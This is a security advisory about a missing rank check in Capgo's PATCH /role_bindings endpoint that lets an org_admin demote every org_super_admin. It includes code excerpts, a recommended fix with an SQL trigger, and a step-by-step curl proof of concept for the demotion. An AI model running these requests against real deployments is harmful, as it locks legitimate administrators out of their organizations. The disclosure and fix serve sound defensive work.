GHSA-54MJ-Q77Q-XWX5
R - PATCH /role_bindings Missing Existing-Role Rank Check Allows org_admin to Demote org_super_admin
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-54MJ-Q77Q-XWX5 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The `PATCH /private/role_bindings/:binding_id` endpoint checks whether the *new* role's priority rank is within the caller's privilege level, but fails to check whether the *existing* binding's role outranks the caller. This allows an `org_admin` (rank 90) to demote an `org_super_admin` (rank 95) to `org_member` (rank 75). Additionally, the `prevent_last_super_admin_binding_delete` database trigger only fires on DELETE — not UPDATE — so an org_admin can demote all super_admins, leaving the organization without any super_admin.
Details
The PATCH handler in `supabase/functions/_backend/private/role_bindings.ts:435-440` only validates the new role's rank against the caller:
// supabase/functions/_backend/private/role_bindings.ts:435-440
// Prevent privilege escalation: caller cannot assign a role with higher priority than their own
const callerPrincipalId = auth!.authType === 'apikey' ? auth!.apikey!.rbac_id : auth!.userId
const callerMaxRank = await getCallerMaxPriorityRank(drizzle, auth!.authType, callerPrincipalId, binding.org_id!)
if (role.priority_rank > callerMaxRank) {
return c.json({ error: 'Cannot assign a role with higher privileges than your own' }, 403)
}Compare with the DELETE handler at `supabase/functions/_backend/private/role_bindings.ts:508-520`, which correctly fetches the target binding's existing role and checks its rank:
// supabase/functions/_backend/private/role_bindings.ts:508-520
// Prevent privilege escalation: caller cannot delete a binding for a role with higher priority than their own
const [targetRole] = await drizzle
.select({ priority_rank: schema.roles.priority_rank })
.from(schema.roles)
.where(eq(schema.roles.id, binding.role_id!))
.limit(1)
if (targetRole && targetRole.priority_rank > callerMaxRank) {
return c.json({ error: 'Cannot delete a binding for a role with higher privileges than your own' }, 403)
}The PATCH endpoint is missing this lookup-and-check for the existing binding's role.
The database trigger `prevent_last_super_admin_binding_delete` (migration `20260228000200`) only fires `BEFORE DELETE ON role_bindings`, so an UPDATE that changes `role_id` from `org_super_admin` to `org_member` bypasses this safeguard entirely.
Role priority ranks from migration `20251222140030`:
- `org_super_admin`: 95
- `org_admin`: 90
- `org_member`: 75
Since `org_member` (75) < `org_admin` (90), the new-role rank check passes, and the demotion succeeds.
PoC
Prerequisites: An org with at least one `org_super_admin` and one `org_admin`. The attacker authenticates as the `org_admin`.
Step 1: List role bindings to find the super_admin's binding ID
curl -s -H "Authorization: Bearer $ORG_ADMIN_TOKEN" \
"https://<project>.supabase.co/functions/v1/private/role_bindings?org_id=$ORG_ID" \
| jq '.[] | select(.role_name == "org_super_admin") | .id'Expected output: the binding ID of the super_admin, e.g. `"b1234567-..."`
Step 2: Demote the super_admin to org_member
curl -s -X PATCH \
-H "Authorization: Bearer $ORG_ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role_name": "org_member"}' \
"https://<project>.supabase.co/functions/v1/private/role_bindings/b1234567-..."Expected output: `200 OK` with the updated binding showing the new `role_id` corresponding to `org_member`.
Step 3: Verify the super_admin lost their privileges
curl -s -H "Authorization: Bearer $SUPER_ADMIN_TOKEN" \
"https://<project>.supabase.co/functions/v1/private/role_bindings?org_id=$ORG_ID"The former super_admin's binding now shows `org_member` role. They can no longer perform super_admin actions (billing, app deletion, etc.).
Step 4 (escalation): Repeat for ALL super_admins
Since the `prevent_last_super_admin_binding_delete` trigger does not fire on UPDATE, the org_admin can repeat Step 2 for every super_admin binding, leaving the organization with zero super_admins.
Impact
- Privilege demotion across trust boundary: An `org_admin` can demote any `org_super_admin` to `org_member`, despite `org_super_admin` being a strictly higher-privilege role. This violates the rank-based authorization model the application explicitly implements.
- Complete super_admin lockout: Because the DB trigger only guards DELETE, an org_admin can demote ALL super_admins. The organization loses access to super_admin-only capabilities (billing management, app deletion, destructive operations).
- Lateral impact: Demoted super_admins lose all elevated permissions immediately, affecting their ability to manage the organization until another super_admin (or platform admin) intervenes.
Recommended Fix
Add the existing-role rank check to the PATCH handler, mirroring the DELETE handler's logic. In `supabase/functions/_backend/private/role_bindings.ts`, after line 440:
// supabase/functions/_backend/private/role_bindings.ts — after line 440, add:
// Prevent privilege escalation: caller cannot modify a binding for a role with higher priority than their own
const [existingRole] = await drizzle
.select({ priority_rank: schema.roles.priority_rank })
.from(schema.roles)
.where(eq(schema.roles.id, binding.role_id!))
.limit(1)
if (existingRole && existingRole.priority_rank > callerMaxRank) {
return c.json({ error: 'Cannot modify a binding for a role with higher privileges than your own' }, 403)
}Additionally, extend the database trigger to also fire on UPDATE when `role_id` changes:
CREATE OR REPLACE FUNCTION "public"."prevent_last_super_admin_binding_update"()
RETURNS TRIGGER
LANGUAGE "plpgsql"
SECURITY DEFINER
SET "search_path" TO ''
AS $$
DECLARE
v_remaining_count integer;
BEGIN
-- Only act when role_id actually changes
IF OLD.role_id = NEW.role_id THEN
RETURN NEW;
END IF;
-- Only check org-level super_admin bindings being changed away from super_admin
IF OLD.scope_type != public.rbac_scope_org() THEN
RETURN NEW;
END IF;
IF NOT EXISTS (
SELECT 1 FROM public.roles r
WHERE r.id = OLD.role_id
AND r.name = public.rbac_role_org_super_admin()
) THEN
RETURN NEW;
END IF;
SELECT COUNT(*) INTO v_remaining_count
FROM public.role_bindings rb
INNER JOIN public.roles r ON rb.role_id = r.id
WHERE rb.scope_type = public.rbac_scope_org()
AND rb.org_id = OLD.org_id
AND rb.principal_type = public.rbac_principal_user()
AND r.name = public.rbac_role_org_super_admin()
AND rb.id != OLD.id;
IF v_remaining_count < 1 THEN
RAISE EXCEPTION 'CANNOT_DEMOTE_LAST_SUPER_ADMIN'
USING HINT = 'At least one super_admin binding must remain in the org';
END IF;
RETURN NEW;
END;
$$;
CREATE TRIGGER "prevent_last_super_admin_update"
BEFORE UPDATE OF role_id ON "public"."role_bindings"
FOR EACH ROW
EXECUTE FUNCTION "public"."prevent_last_super_admin_binding_update"();---
Fix PR (merged)
Intentional fix PR https://github.com/Cap-go/capgo.app/pull/2018 merged 2026-05-05. Adds existing-role rank checks so org_admin cannot demote org_super_admin via PATCH /role_bindings.
Reporter: please verify on current production. Bounty/credit is due only after that verification, per Capgo bounty policy.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@capgo/backend |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Cap-go/capgo.app/security/advisories/GHSA-54mj-q77q-xwx5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
